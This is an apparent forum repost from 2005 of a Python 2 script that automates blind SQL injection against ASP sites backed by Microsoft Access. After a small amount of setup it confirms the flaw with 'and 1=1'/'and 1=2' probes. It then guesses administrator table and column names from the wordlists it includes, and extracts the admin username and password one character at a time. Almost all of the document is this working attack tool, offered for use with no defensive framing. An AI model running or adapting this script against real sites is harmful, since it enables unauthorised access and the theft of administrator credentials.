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exploit 2005-2-10 04:52

[转载]ASP ACCESS SQL Injection Test

作者:ToToDoDo

#!/usr/bin/python
# ASP ACCESS SQL Injection Test
# Written by ToToDoDo (QQ:8924007) Email: plone2#yahoo.com.cn

from sys import exit
from urllib import urlopen
from string import join,strip
from re import search

def get_tablename():
   tablefile = open("table.txt")
   for line in tablefile.readlines():
      line = strip(line)
      sql = join(['%20and%20exists%20(select%20*%20from%20',line,')'],'')
      urlfile = urlopen(url+sql)
      htmlcodes = urlfile.read()
      if not search(judge,htmlcodes):
        print "Error:",line
      else:
        print "Found the admin table name:", line,"\n"
        print "Now! Start to get name column from",line,"table"
        get_namecolumn(line)
        print "Now! Start to get password column from",line,"table"
        get_passwordcolumn(line)
        break

def get_namecolumn(tablename):
   namecolumn = open("namecolumn.txt")
   for namecolumnline in namecolumn.readlines():
      namecolumnline = strip(namecolumnline)
      sql = join(['%20and%20exists%20(select%20',namecolumnline,'%20from%20',tablename,')'],'')
      urlfile = urlopen(url+sql)
      htmlcodes = urlfile.read()
      if not search(judge,htmlcodes):
        print "Error:",namecolumnline
      else:
        print "Found the  name column from admin table:", namecolumnline,"\n"
        get_usernamelenth(tablename,namecolumnline)
        break

def get_passwordcolumn(tablename):
   passwordcolumn = open("passwordcolumn.txt")
   for passwordcolumnline in passwordcolumn.readlines():
      passwordcolumnline = strip(passwordcolumnline)
      sql = join(['%20and%20exists%20(select%20',passwordcolumnline,'%20from%20',tablename,')'],'')
      urlfile = urlopen(url+sql)
      htmlcodes = urlfile.read()
      if not search(judge,htmlcodes):
        print "Error:",passwordcolumnline
      else:
        print "Found the password column from admin table:", passwordcolumnline,"\n"
        get_passwordlenth(tablename,passwordcolumnline)
        break

def get_usernamelenth(tablename,namecolumn):
   for x in range(1,51):
      sql = join(['%20and%201=(select%20top%201%20Count(*)%20From%20',tablename,'%20where%20len(',namecolumn,')=',str(x),')'],'')
      urlfile = urlopen(url+sql)
      htmlcodes = urlfile.read()
      if not search(judge,htmlcodes):
        print "Error:",x
      else:
        print "Found the lenth of the username:", x,"\n"
        get_username(tablename,namecolumn,x)
        break

def get_passwordlenth(tablename,passwordcolumn):
   for x in range(1,51):
      sql = join(['%20and%201=(select%20top%201%20Count(*)%20From%20',tablename,'%20where%20len(',passwordcolumn,')=',str(x),')'],'')
      urlfile = urlopen(url+sql)
      htmlcodes = urlfile.read()
      if not search(judge,htmlcodes):
        print "Error:",x
      else:
        print "Found the lenth of the password:", x,"\n"
        get_password(tablename,passwordcolumn,x)
        break

def get_username(tablename,namecolumn,lenth):
   list = []
   for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:
      list.extend(x)
   global username
   username  = ''
   for y in range(1,lenth+1):
      print "Now! Crack the left ",y," of the username","Waiting~~~~~~~"
      for z in list:
        sql = join(["%20and%201=(select%20top%201%20count(*)%20from%20",tablename,"%20where%20Asc(mid(",namecolumn,",",str(y),",","1))=",str(z),")"],'')
        urlfile = urlopen(url+sql)
        htmlcodes = urlfile.read()
        if search(judge,htmlcodes):
           username = join([username,chr(z)],'')
           break
   print "Found the username = :",username,"\n"

def get_password(tablename,passwordcolumn,lenth):
   list = []
   for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:
      list.extend(x)
   global password
   password = ''
   for y in range(1,lenth+1):
      print "Now! Crack the left ",y," of the password","Waiting~~~~~~~"
      for z in list:
        sql = join(["%20and%201=(select%20top%201%20count(*)%20from%20",tablename,"%20where%20Asc(mid(",passwordcolumn,",",str(y),",","1))=",str(z),")"],'')
        urlfile = urlopen(url+sql)
        htmlcodes = urlfile.read()
        if search(judge,htmlcodes):
           password = join([password,chr(z)],'')
           break
   print "Found the password = :",password,"\n"

print "\n########################################################################\n"
print " ASP+ACCESS SQL Injection Scripts By ToToDoDo with Python 2.3.x(QQ:8924007)"
print " Email: plone2#yahoo.com.cn\n"
print "========================================================================";
print """Usage:
C:\Python23>python asp_inject.py
Supply a URL to test inject =  [url]http://127.0.0.1/article/list.asp?id=3[/url][/url]

Supply some string in correct page but not in error page to help this script to
judge properly.

Judge string = test\n"""
print "########################################################################\n";
url = raw_input('Supply a URL to test inject =  ')
if url == '':
   print "U must supply a URL with '.asp?xxx=' in"
   exit(1)

judge = raw_input("\nSupply some string in correct page but not in error page to help this script to judge properly.\n\nJudge string = ")
if judge == '':
   print "U must supply a string to help judge!"
   exit(1)

a = '%20and%201=1'
b = '%20and%201=2'

urlfile_a = urlopen(url+a)
urlfile_b = urlopen(url+b)

htmlcodes_a = urlfile_a.read()
htmlcodes_b = urlfile_b.read()

if search(judge,htmlcodes_a) and not search(judge,htmlcodes_b):
   print "\n\n\nFound injection:",url,"\n\n\nNow,start to get the table name!","\n"
   get_tablename()
   print "\n\n\nThe admin's account name is ",username,"\nThe admin's password is ",password
else:
   print "Can't be Injected"

====================================================================

namecolumn.txt

name
username
u_name
uname
adminname
====================================================================

passwordcolumn.txt


pass
adminpass
pwd
password
passwd
admin_pass
admin_password

=====================================================================

table.txt

user
userinfo
admintable
admin
article_admin

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